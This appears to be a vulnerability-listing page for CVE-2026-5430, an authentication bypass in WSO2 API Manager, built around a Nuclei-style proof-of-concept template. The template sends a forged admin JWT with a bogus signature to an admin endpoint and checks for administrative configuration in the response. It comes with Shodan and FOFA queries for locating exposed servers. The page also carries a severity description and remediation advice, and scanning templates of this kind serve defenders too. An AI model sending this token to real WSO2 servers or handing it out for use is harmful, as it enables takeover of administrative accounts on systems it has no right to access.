CVE-2026-5430: WSO2 API Manager - Authentication Bypass

2026-11-16 PoC Public

Description

JWT authentication mechanism contains a broken authentication caused by acceptance of tokens signed with unsupported algorithms, letting attackers gain unauthorized access including administrative accounts, exploit requires crafted JWT tokens.

Details

CVE
CVE-2026-5430 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-5430

info:
  name: WSO2 API Manager - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
    JWT authentication mechanism contains a broken authentication caused by acceptance of tokens signed with unsupported algorithms, letting attackers gain unauthorized access including administrative accounts, exploit requires crafted JWT tokens.
  impact: |
    Attackers can gain unauthorized access, including full account takeover and administrative compromise.
  remediation: |
    Update to the latest version that enforces strict algorithm validation for JWT tokens.
  reference:
    - https://github.com/getdrive/wso2_cve-2026-5430_lab
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5430
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5430
    cwe-id: CWE-347
  metadata:
    verified: true
    max-request: 2
    vendor: wso2
    product: api_manager
    shodan-query: http.title:"WSO2"
    fofa-query: title="WSO2"
  tags: cve,cve2026,wso2,apim,jwt,auth-bypass,unauth,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/am/admin/v4/tenant-config HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(content_type, "json")'
          - 'contains(body, "Unauthenticated request")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/am/admin/v4/tenant-config HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImlzcyI6Imh0dHBzOi8vbG9jYWxob3N0Ojk0NDMvb2F1dGgyL3Rva2VuIiwiZXhwIjoyMDAwMDAwMDAwLCJpYXQiOjE3MDAwMDAwMDAsIm5iZiI6MTcwMDAwMDAwMCwic2NvcGUiOiJvcGVuaWQgYXBpbTphZG1pbiBhcGltOmFwaV92aWV3IGFwaW06YXBpX21hbmFnZSBhcGltOmFkbWluX3NldHRpbmdzIiwiYXpwIjoieCIsImF1ZCI6Imh0dHBzOi8vbG9jYWxob3N0Ojk0NDMvb2F1dGgyL3Rva2VuIn0.aW52YWxpZF9zaWduYXR1cmU

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "EnableMonetization", "IsUnlimitedTierPaid")'
        condition: and
# digest: 4a0a00473045022041a0ba55d725319546f8d25824bd19ae7e5a82406a014cab285107e72ce405200221008c4c61c33aaadbcbe061e0c901859dcf8039171f92a9fb7739d93c46a6cc5e21:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life